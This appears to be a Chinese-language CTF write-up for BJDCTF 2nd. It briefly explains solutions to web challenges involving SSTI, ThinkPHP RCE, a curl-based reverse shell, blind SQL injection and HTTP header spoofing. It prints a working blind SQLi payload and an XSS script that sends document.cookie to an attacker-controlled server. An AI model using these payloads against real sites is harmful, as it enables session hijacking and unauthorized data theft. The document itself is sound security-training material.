0%

[BJDCTF 2nd]部分wp

[BJDCTF 2nd]部分wp

据说是萌新赛,就目前做的几个题来说的确较为简单

fake google

SSTI,测一下可以发现用的jinja2,搜一个payload直接打
SSTI上一次的BJDCTF也考过,具体判断什么的可以看上次比赛的WP

old-hack

ThinkPHP5,开了debug模式,随便触发一个错误看一眼thinkPHP版本,然后继续搜payload打

duangShell

反弹shell,用了swp源码泄漏,过滤了重定向符>,使得直接弹shell不行了,但是方法还是很多的,搜一下发现一个curl反弹的,在自己的机子上放一个文件里面写一个弹shell的语句就可以了
https://www.cnblogs.com/-zhong/p/11398877.html

师傅还提到一个用if语句类似盲注的方法可以把flag测出来

简单注入

过滤了一大堆东西,;='"like select and && or --什么的都没了
说实话感觉很棘手,因为没有select就没法做绝大多数的注入了,而去掉了分号就没法堆叠注入,感觉一度陷入困境
但是今天又学习到了新知识,像select * from users where username='$username' and password='$password'这种语句,我们可以username=\&password=or sleep(5) #进行注入,
这样子原语句就变成了select * from users where username='\' and password='or sleep(5) # '
这样子就有一个可以操控的注入点了
但是没有select仍然没法进行太多的操作,但是这里我们只需要获得一个password就可以了
发现or 后面的逻辑为true时是回显是BJD needs to be stronger,而为false时是xxx need girlfriend,就显然是一个盲注了
or ascii(substr(password,%s,1))<%s # 这样子一句盲注就可以拿到密码,使用admin账户登录获得flag,这里注意substr不能从0开始,从1开始截取的才是第一位

从这里开始后面的题都是比赛结束之后看的

假猪套天下第一

不明所以的题名,还是个藏比,着实没意思
进去有登录框,登录admin会失败,剩下的随便登录,会回显登录的用户名,一开始想试ssti,或者注入,无果。
查看源码无果,扫描无果
最后看的wp,用burp抓包会在登录时有一个重定向,会告诉你一个隐藏的L0g1n.php (说实话感觉藏比题没意思)
进去之后是考http头的,萌新题,不过出现了两个没见过的http头
一个是要求你从localhost访问,但是不能用XFF,伪造remoteAddr显然不可能,所以找替代品Client-IP
要求使用Commodo 64的浏览器访问,查了半天还查不到是什么,最后看wp是一个叫Commodore 64的操作系统(为什么搜不到呢)
要求从某个邮箱访问:From
要求使用VPN:Via

element master

藏,审查源码可以看到一个Po.php的ASCII码形式,访问之后得到一个点????令人困惑
然后试着输入几个其他的化学元素,一开始使得H,O,之类的记得住的元素没反应,后来随手打了个Ar有反应了,发现靠后的元素会有其他的字符出现,随便写个脚本遍历元素周期表就可以了,得到一个PHP文件名,访问获得flag

XSS之光

又是藏,.git源码泄漏,用Githack拉下来,就给了一个echo unserialize($a);,那么思路就必然是原生类的反序列化了,稍微搜一下就你看见lemon神仙的一篇文章,exception类使用__toString的反序列化
刚好这个类可以xss,点题
但是我也不知道flag在哪啊,xss也不是很熟练,我知道的xss好像就盗cookie,那写一个payload把cookie发到自己服务器上就可以了
payload:<script>document.write("<img src='http://server:10004?c=" + escape(document.cookie) + "'>")</script>